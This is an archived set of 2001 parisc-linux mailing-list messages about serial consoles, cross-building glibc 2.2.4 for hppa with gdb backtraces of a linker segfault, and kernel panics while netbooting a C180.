Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620426 24611 80.91.229.3 (22 Nov 2014 01:40:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:26 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Kurc, Marcin A." <makurc@cooperstandard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 11:12:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3DCA482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 11:12:11 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D8667B00C; Tue, 28 Aug 2001 18:13:43 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <426B4FEBE684D411B0A60090273B1D2401AD0E6E@AA0016>; from makurc@cooperstandard.com on Tue, Aug 28, 2001 at 01:00:13PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12011

On Tue, Aug 28, 2001 at 01:00:13PM -0400, Kurc, Marcin A. wrote:
> I'm using graphical console, have to dig up a serial one somewhere :)

Most people just run minicom on another linux box and link
the two with a crossover cable.

Richard





From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kurc, Marcin A." <makurc@cooperstandard.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] visualize C360/785 install
Date: Tue, 28 Aug 2001 13:27:57 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <426B4FEBE684D411B0A60090273B1D2401AD0E6F@AA0016>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620426 24615 80.91.229.3 (22 Nov 2014 01:40:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:26 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: 'Richard Hirst' <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 11:28:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fa0008.coopertire.com (unknown [63.150.221.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id E70B7482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 11:28:03 -0600 (MDT)
Original-Received: by FA0008 with Internet Mail Service (5.5.2653.19)
	id <PBAD30L0>; Tue, 28 Aug 2001 13:27:58 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12012

I guess that's what I have to do, I found a serial console, but the menus
are all screwed up so it won't work. 
Now the only problem is to find an i386 box to put linux on :)

Anyway, thank you everybody for helping me.

-----Original Message-----
From: 'Richard Hirst' [mailto:rhirst@linuxcare.com]
Sent: Tuesday, August 28, 2001 12:14 PM
To: Kurc, Marcin A.
Cc: 'parisc-linux@lists.parisc-linux.org'
Subject: Re: [parisc-linux] visualize C360/785 install


On Tue, Aug 28, 2001 at 01:00:13PM -0400, Kurc, Marcin A. wrote:
> I'm using graphical console, have to dig up a serial one somewhere :)

Most people just run minicom on another linux box and link
the two with a crossover cable.

Richard





From - Thu Nov 08 21:18:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Tue, 28 Aug 2001 19:47:13 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <20010828194713.A2995@parcelfarce.linux.theplanet.co.uk>
References: <20010826162754.A10072@megatonmonkey.net> <20010827203849.H525@parcelfarce.linux.theplanet.co.uk> <20010828003952.M28978@megatonmonkey.net> <20010828061037.A13332@parcelfarce.linux.theplanet.co.uk> <20010828071743.A1289@megatonmonkey.net> <20010828155619.I18341@parcelfarce.linux.theplanet.co.uk> <20010828112900.B30657@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620426 24621 80.91.229.3 (22 Nov 2014 01:40:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:26 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	baldric-exec@baldric.uwo.ca, willy@debian.org,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 12:47:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7DD3482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 12:47:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15bntJ-0003ov-00; Tue, 28 Aug 2001 19:47:13 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010828112900.B30657@megatonmonkey.net>; from carlos@megatonmonkey.net on Tue, Aug 28, 2001 at 11:29:00AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12013

On Tue, Aug 28, 2001 at 11:29:00AM -0400, Carlos O'Donell Jr. wrote:
> I've never merged upstream, does it hurt? :}

Sometimes... see the archives.

> Are you using dpkg-buildpackage to build it all?

Yes, it takes a tree and builds new .deb files out of it for you.

> Not having a debain based system makes it harder to test this...
> (I might install all the deb tools and give it a try...)

Could help you out later, yep.

> 'make install' worked on my box.
> 
> I theoretically have a working glibc 2.2.4-1 created using gcc-latest and
> binutils-latest from the parisc ftp-site.

Mmm.  I would expect it to not work.  My build dies when it uses part of itself
in the install:

/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/elf/ld.so.1 --library-path 
/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj:/home/willy/glibc/2.2.4-1/g
libc-2.2.4/hppa-linux/obj/math:/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/
obj/elf:/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/dlfcn:/home/willy/g
libc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/nss:/home/willy/glibc/2.2.4-1/glibc-2.2.
4/hppa-linux/obj/nis:/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/rt:/ho
me/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/resolv:/home/willy/glibc/2.2.4
-1/glibc-2.2.4/hppa-linux/obj/crypt:/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-l
inux/obj/linuxthreads /home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/timez
one/zic -d /home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/install_root/usr/sha
re/zoneinfo -L /dev/null -y ./yearistype africa
make[3]: *** [/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/install_root/usr/
share/zoneinfo/Africa/Algiers] Segmentation fault

running this under gdb gives:

Program received signal SIGSEGV, Segmentation fault.
_dl_debug_vdprintf (fd=0, tag_p=0, 
    fmt=0x173dc <Address 0x173dc out of bounds>, arg=0xbff008d8)
    at dl-misc.c:101
101       while (*fmt != '\0')
(gdb) bt
#0  _dl_debug_vdprintf (fd=0, tag_p=0, 
    fmt=0x173dc <Address 0x173dc out of bounds>, arg=0xbff008d8)
    at dl-misc.c:101
#1  0x4100e468 in _dl_dprintf (fd=2, 
    fmt=0x173dc <Address 0x173dc out of bounds>) at dl-misc.c:273
#2  0x41012454 in __assert_fail (
    assertion=0x15314 <Address 0x15314 out of bounds>, file=0x0, line=62, 
    function=0xbff008d8 "") at dl-minimal.c:190
#3  0x41002e88 in elf_get_dynamic_info___3 (l=0x2) at rtld.c:62
#4  0x41002f90 in _dl_start (arg=0xbff004f4) at rtld.c:172
#5  0x41002ac8 in _dl_start_user () at rtld.c:135
(gdb) 

It looks to me like the problem occurred in frame #3 where
elf_get_dynamic_info was passed `2' as a value.  Bizarrely, this is the
address of a stack variable (take a look in rtld.c), so I am stumped and
I've been working on more interesting stuff instead.  I tried several
times to attract BenC's attention on this and didn't get anywhere.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Tue, 28 Aug 2001 15:22:21 -0400
Lines: 85
Approved: news@gmane.org
Message-ID: <20010828152221.B4741@megatonmonkey.net>
References: <20010826162754.A10072@megatonmonkey.net> <20010827203849.H525@parcelfarce.linux.theplanet.co.uk> <20010828003952.M28978@megatonmonkey.net> <20010828061037.A13332@parcelfarce.linux.theplanet.co.uk> <20010828071743.A1289@megatonmonkey.net> <20010828155619.I18341@parcelfarce.linux.theplanet.co.uk> <20010828112900.B30657@megatonmonkey.net> <20010828194713.A2995@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620427 24628 80.91.229.3 (22 Nov 2014 01:40:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 13:21:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23028482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 13:21:40 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7SJPfp03999;
	Tue, 28 Aug 2001 15:25:42 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7SJMLH31133;
	Tue, 28 Aug 2001 15:22:21 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010828194713.A2995@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Tue, Aug 28, 2001 at 07:47:13PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12014

> 
> Mmm.  I would expect it to not work.  My build dies when it uses part of itself
> in the install:
> 
> /home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/elf/ld.so.1 --library-path 
> /home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj:/home/willy/glibc/2.2.4-1/g
> libc-2.2.4/hppa-linux/obj/math:/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/
> obj/elf:/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/dlfcn:/home/willy/g
> libc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/nss:/home/willy/glibc/2.2.4-1/glibc-2.2.
> 4/hppa-linux/obj/nis:/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/rt:/ho
> me/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/resolv:/home/willy/glibc/2.2.4
> -1/glibc-2.2.4/hppa-linux/obj/crypt:/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-l
> inux/obj/linuxthreads /home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/timez
> one/zic -d /home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/install_root/usr/sha
> re/zoneinfo -L /dev/null -y ./yearistype africa
> make[3]: *** [/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/install_root/usr/
> share/zoneinfo/Africa/Algiers] Segmentation fault
> 
> running this under gdb gives:
> 
> Program received signal SIGSEGV, Segmentation fault.
> _dl_debug_vdprintf (fd=0, tag_p=0, 
>     fmt=0x173dc <Address 0x173dc out of bounds>, arg=0xbff008d8)
>     at dl-misc.c:101
> 101       while (*fmt != '\0')
> (gdb) bt
> #0  _dl_debug_vdprintf (fd=0, tag_p=0, 
>     fmt=0x173dc <Address 0x173dc out of bounds>, arg=0xbff008d8)
>     at dl-misc.c:101
> #1  0x4100e468 in _dl_dprintf (fd=2, 
>     fmt=0x173dc <Address 0x173dc out of bounds>) at dl-misc.c:273
> #2  0x41012454 in __assert_fail (
>     assertion=0x15314 <Address 0x15314 out of bounds>, file=0x0, line=62, 
>     function=0xbff008d8 "") at dl-minimal.c:190
> #3  0x41002e88 in elf_get_dynamic_info___3 (l=0x2) at rtld.c:62
> #4  0x41002f90 in _dl_start (arg=0xbff004f4) at rtld.c:172
> #5  0x41002ac8 in _dl_start_user () at rtld.c:135
> (gdb) 
> 
> It looks to me like the problem occurred in frame #3 where
> elf_get_dynamic_info was passed `2' as a value.  Bizarrely, this is the
> address of a stack variable (take a look in rtld.c), so I am stumped and
> I've been working on more interesting stuff instead.  I tried several
> times to attract BenC's attention on this and didn't get anywhere.
> 
> -- 
> Revolutions do not require corporate support.

That's odd, I built it fine. And went back and rebuilt the rest of GCC 
while I was at it (had to symlink ./src/linux/include/linux and 
./src/linux/include/asm so that they would sit in 
-isystem $DEST/hppa-linux/include used by the last bits of xgcc)

What is running at the moment? One of the binutils or gcc?
It should most definately not segfault in any of the _dl_xxxxx routines ;)

I grabbed the glibc2.2.4 from the debian pool (orig.tar.gz), then applied
the 2.2.4-1 patch, followed by running the glibc22-hppa.dpatch (since I
don't have any deb tools).

The last two patches should probably have been run in the reverse order,
could this be the crux?

I'm still very confused about the ia64 stuff that wants to get touched
by the glibc22-hppa.dpatch?

Although I've built it all without failing... I have yet to test the
new system.


I will:

- Test the compiler by building a new kernel.
- Test glibc on a 712/60.
- Try to reverse the patching order and see if it compiles.

Cheers,
Carlos.








From - Thu Nov 08 21:18:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Tue, 28 Aug 2001 20:44:58 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20010828204458.B2995@parcelfarce.linux.theplanet.co.uk>
References: <20010826162754.A10072@megatonmonkey.net> <20010827203849.H525@parcelfarce.linux.theplanet.co.uk> <20010828003952.M28978@megatonmonkey.net> <20010828061037.A13332@parcelfarce.linux.theplanet.co.uk> <20010828071743.A1289@megatonmonkey.net> <20010828155619.I18341@parcelfarce.linux.theplanet.co.uk> <20010828112900.B30657@megatonmonkey.net> <20010828194713.A2995@parcelfarce.linux.theplanet.co.uk> <20010828152221.B4741@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620427 24631 80.91.229.3 (22 Nov 2014 01:40:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:27 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 13:45:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E8F9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 13:45:00 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15bonD-00057g-00; Tue, 28 Aug 2001 20:44:59 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010828152221.B4741@megatonmonkey.net>; from carlos@megatonmonkey.net on Tue, Aug 28, 2001 at 03:22:21PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12015

On Tue, Aug 28, 2001 at 03:22:21PM -0400, Carlos O'Donell Jr. wrote:
> That's odd, I built it fine.

Yes, but you were crosscompiling.  `make install' is very different
with a crossbuild.

> What is running at the moment? One of the binutils or gcc?
> It should most definately not segfault in any of the _dl_xxxxx routines ;)

THe program which is being run is
/home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/timezone/zic; glibc
is making sure it's run with the new ld.so and all the new versions of
the libs.

Have you actually tried installing glibc 2.2.4-1 on a live system and
running programs with it?

> I grabbed the glibc2.2.4 from the debian pool (orig.tar.gz), then applied
> the 2.2.4-1 patch, followed by running the glibc22-hppa.dpatch (since I
> don't have any deb tools).
> 
> The last two patches should probably have been run in the reverse order,
> could this be the crux?

It's more likely that one of the other debian patches conflicts with
what we're doing.  The debian/rules file will apply the patches in the
debian/patches directory in the order given by debian/patches/0list.
I seem to remember a couple of other diffs that need to get applied...

> I'm still very confused about the ia64 stuff that wants to get touched
> by the glibc22-hppa.dpatch?

That's changing all the testandset to trylock.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Tue, 28 Aug 2001 16:36:39 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <20010828163639.C4741@megatonmonkey.net>
References: <20010826162754.A10072@megatonmonkey.net> <20010827203849.H525@parcelfarce.linux.theplanet.co.uk> <20010828003952.M28978@megatonmonkey.net> <20010828061037.A13332@parcelfarce.linux.theplanet.co.uk> <20010828071743.A1289@megatonmonkey.net> <20010828155619.I18341@parcelfarce.linux.theplanet.co.uk> <20010828112900.B30657@megatonmonkey.net> <20010828194713.A2995@parcelfarce.linux.theplanet.co.uk> <20010828152221.B4741@megatonmonkey.net> <20010828204458.B2995@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620427 24636 80.91.229.3 (22 Nov 2014 01:40:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:27 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 14:36:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 805E9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 14:35:59 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7SKe3p04416;
	Tue, 28 Aug 2001 16:40:04 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7SKad531357;
	Tue, 28 Aug 2001 16:36:39 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010828204458.B2995@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Tue, Aug 28, 2001 at 08:44:58PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (28% Sync Ratio [===.......])
Xref: news.gmane.org gmane.linux.ports.parisc:12016

> 
> Yes, but you were crosscompiling.  `make install' is very different
> with a crossbuild.
> 

What are the major differences? Crosscompiling vs. Crossbuild?
Better yet, where can I learn about those difference?

> 
> THe program which is being run is
> /home/willy/glibc/2.2.4-1/glibc-2.2.4/hppa-linux/obj/timezone/zic; glibc
> is making sure it's run with the new ld.so and all the new versions of
> the libs.
> 

So the native build of zic barfs. I'm not even sure if zic runs when
you compile glibc by hand? Hrm... zic.c is 52,000 loc.. eww.


> Have you actually tried installing glibc 2.2.4-1 on a live system and
> running programs with it?
> 
> It's more likely that one of the other debian patches conflicts with
> what we're doing.  The debian/rules file will apply the patches in the
> debian/patches directory in the order given by debian/patches/0list.
> I seem to remember a couple of other diffs that need to get applied...

Question:
In theory since those patches are changes that haven't been merged upstream,
should the only requirements be:

- Have 2.2.4 Original
- Carry out any one of the dpatch's since they are dif'd against 2.2.4 Original
- Then carry out the 2.2.4-1 patch

For x86 Cross Compiler, the only requirement would be:
- Apply the dpatch's that are critical to the running hppa port

Quesiton:
If the pool has the hppa changes commented out in the 0list file, does
that mean that glibc2.2.4 is not available for hppa yet? (Since it fails to 
compile? The first error probably being the Elf32_Addr* problem with
that '& 3' fixed by a cast to (unsigned int)).

> 
> That's changing all the testandset to trylock.
>

Why would that be in the hppa dpatch?

Cheers,
Carlos. 




From - Thu Nov 08 21:18:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Tue, 28 Aug 2001 21:47:29 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20010828214729.E2995@parcelfarce.linux.theplanet.co.uk>
References: <20010827203849.H525@parcelfarce.linux.theplanet.co.uk> <20010828003952.M28978@megatonmonkey.net> <20010828061037.A13332@parcelfarce.linux.theplanet.co.uk> <20010828071743.A1289@megatonmonkey.net> <20010828155619.I18341@parcelfarce.linux.theplanet.co.uk> <20010828112900.B30657@megatonmonkey.net> <20010828194713.A2995@parcelfarce.linux.theplanet.co.uk> <20010828152221.B4741@megatonmonkey.net> <20010828204458.B2995@parcelfarce.linux.theplanet.co.uk> <20010828163639.C4741@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620427 24637 80.91.229.3 (22 Nov 2014 01:40:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:27 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 14:47:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDE9D482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 14:47:30 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15bplh-00077v-00; Tue, 28 Aug 2001 21:47:29 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010828163639.C4741@megatonmonkey.net>; from carlos@megatonmonkey.net on Tue, Aug 28, 2001 at 04:36:39PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12017

On Tue, Aug 28, 2001 at 04:36:39PM -0400, Carlos O'Donell Jr. wrote:
> What are the major differences? Crosscompiling vs. Crossbuild?
> Better yet, where can I learn about those difference?

I don't think the differences between cross and native builds are
documented anywhere.

> So the native build of zic barfs. I'm not even sure if zic runs when
> you compile glibc by hand? Hrm... zic.c is 52,000 loc.. eww.

I would say it dies in the dynamic linker before zic is entered.

> Question:
> In theory since those patches are changes that haven't been merged upstream,
> should the only requirements be:
> 
> - Have 2.2.4 Original
> - Carry out any one of the dpatch's since they are dif'd against 2.2.4 Original
> - Then carry out the 2.2.4-1 patch

No.  The 2.2.4-1 patch adds the debian-specific patches to the tarball.
There's nowhere to get the hppa patch from if you don't apply the
2.2.4-1 patch.

> Quesiton:
> If the pool has the hppa changes commented out in the 0list file, does
> that mean that glibc2.2.4 is not available for hppa yet? (Since it fails to 
> compile? The first error probably being the Elf32_Addr* problem with
> that '& 3' fixed by a cast to (unsigned int)).

glibc 2.2.4 is indeed not yet available for hppa.  As it says in the
release announcement.

> > 
> > That's changing all the testandset to trylock.
> >
> 
> Why would that be in the hppa dpatch?

Because we can't implement testandset atomically & efficiently on hppa.
The places which use testandset actually just need trylock.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Tue, 28 Aug 2001 18:12:45 -0400 (EDT)
Lines: 140
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108281811470.23152-100000@ns>
References: <20010828150740.Q7064@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620428 24639 80.91.229.3 (22 Nov 2014 01:40:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:28 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, Helge Deller <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 16:13:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D163482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 16:13:21 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA27853;
	Tue, 28 Aug 2001 18:12:45 -0400
X-Sender: nick@ns
In-Reply-To: <20010828150740.Q7064@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12018

ok, what I've finally been able to do is boot to an nfsroot, partition sda
and sdb, then when I try to mke2fs any partition on either drive I get
errors along the lines of
init-2.04# SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)
 sdb: sdb1 sdb2
SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)
 sdb: sdb1 sdb2
Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping
resources.

Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping
resources.

In interrupt handler - not syncing
Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping
resources.

In interrupt handler - not syncing
Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping
resources.

In interrupt handler - not syncing
SysRq: Boot Sync Unmount showPc showTasks showMem loglevel0-8 tErm kIll
killalL
SysRq: Resetting

Is that usefull at all, and if not what would be usefull?
	Thanks
		Nick


On Tue, 28 Aug 2001, Richard Hirst wrote:

> I don't recall any reports that C180 works, so it might just not be
> supported.  
> 
> I can tell from your log that the scsi chip is basically working, it
> has executed a few script instructions, but in each case it has hung
> on a SELECT instruction.  If there is no device on a given ID the
> chip should interrupt and say so; in this case there is no interrupt,
> so the higher level code times out and resets.  From the log it appears
> that the chip hasn't tried to generate an interrupt, so it is not just
> an interrupt routing problem.
> 
> Do you have terminators on your scsi bus?
> 
